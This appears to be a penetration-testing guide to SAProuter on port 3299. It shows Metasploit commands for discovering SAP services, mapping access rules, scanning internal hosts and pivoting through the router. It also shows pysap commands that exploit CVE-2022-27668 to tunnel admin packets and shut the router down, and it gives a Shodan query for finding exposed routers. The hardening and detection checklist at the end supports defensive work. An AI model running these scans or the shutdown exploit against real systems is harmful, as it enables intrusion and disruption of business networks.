3299/tcp - Pentesting SAProuter

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

The Metasploit workflow below is based on Rapid7’s SAProuter research.^[1]

Understanding SAProuter Penetration with Metasploit

SAProuter is an application-level gateway for SAP network traffic. It uses a route permission table (saprouttab) to decide which source may reach which host and service, and its default listener is TCP/3299. It complements rather than replaces a firewall.^[3]

Scanning and Information Gathering

First, use the sap_service_discovery module to identify SAP services and confirm whether SAProuter is present.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run

Following the discovery, further investigation into the SAP router’s configuration is carried out with the sap_router_info_request module to potentially reveal internal network details.

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run

Enumerating Internal Services

With obtained internal network insights, the sap_router_portscanner module is used to probe internal hosts and services through the SAProuter, allowing a deeper understanding of internal networks and service configurations.

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN

This module’s flexibility in targeting specific SAP instances and ports makes it an effective tool for detailed internal network exploration.

Advanced Enumeration and ACL Mapping

Further scanning can reveal how Access Control Lists (ACLs) are configured on the SAProuter, detailing which connections are allowed or blocked. This information is pivotal in understanding security policies and potential vulnerabilities.

msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN

Blind Enumeration of Internal Hosts

In scenarios where direct information from the SAProuter is limited, techniques like blind enumeration can be applied. This approach attempts to guess and verify the existence of internal hostnames, revealing potential targets without direct IP addresses.

Leveraging Information for Penetration Testing

Having mapped the network and identified accessible services, penetration testers can utilize Metasploit’s proxy capabilities to pivot through the SAProuter for further exploration and exploitation of internal SAP services.

msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

Conclusion

This approach underscores the importance of secure SAProuter configurations and highlights the potential for accessing internal networks through targeted penetration testing. Properly securing SAP routers and understanding their role in network security architecture is crucial for protecting against unauthorized access.

For more detailed information on Metasploit modules and their usage, visit Rapid7’s database.

CVE-2022-27668 – Improper Access Control ➜ Remote Administrative Command Execution

In June 2022, SAP released Security Note 3158375 for a critical improper-access-control flaw in the SAProuter versions listed below. When saprouttab permits the necessary route, an unauthenticated remote attacker can tunnel administrative packets such as shutdown, trace-level, and connection-kill to the router even when it was started without the -X remote-administration option.^[2]

The issue results from the possibility to build a tunnel to the router’s own loopback interface by targeting the unspecified address 0.0.0.0. Once the tunnel is established, the attacker gains local-host privileges and can run any admin command.^[2]

Practical exploitation can be reproduced with the pysap framework:

# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
                        -t 0.0.0.0    -r 3299 \
                        -a 127.0.0.1  -l 3299 -v

# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299

Affected versions

Stand-alone SAProuter 7.22 / 7.53
Kernel 7.49, 7.77, 7.81, 7.85–7.88 (incl. KRNL64NUC/UC)

Fix / Mitigation

Apply the patch delivered with SAP Note 3158375.
Remove wildcard (*) targets from P and S lines in saprouttab.
Make sure the router is started without the -X option and is not directly exposed to the Internet.

Updated Tooling & Tricks

pysap provides router_portfw.py, router_admin.py, and router_trace.py for crafting NI/Router packets, testing ACLs, and reproducing CVE-2022-27668 in an authorized lab.^[4]
Nmap – extend service detection by adding the custom SAProuter probe:
```
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
```
Combine with NSE scripts or --script=banner to quickly fingerprint versions that leak the banner string (SAProuter <ver> on '<host>').
Metasploit – the auxiliary modules shown above still work through a SOCKS or NI proxy created with pysap, enabling full framework integration even when the router blocks direct access.

Hardening & Detection Checklist

Filter port 3299/TCP on the perimeter firewall – allow traffic only from trusted SAP support networks.
Keep SAProuter fully patched; verify with saprouter -v and compare against the latest kernel patch level.
Use strict, host-specific entries in saprouttab; avoid * wildcards and deny P/S rules that target arbitrary hosts or ports.
Configure an SNC environment, start each SAProuter with -K <snc-name>, and use KT plus KP/KD/KS route-table entries where adjacent SAProuters must authenticate and encrypt traffic.^[3]
Disable remote administration (-X) and use -H <hostname-or-address> to bind only the required interface instead of listening on every local address.^[3]
Monitor the dev_rout log for suspicious ROUTER_ADM packets or unexpected NI_ROUTE requests to 0.0.0.0.

Shodan

port:3299 !HTTP Network packet too big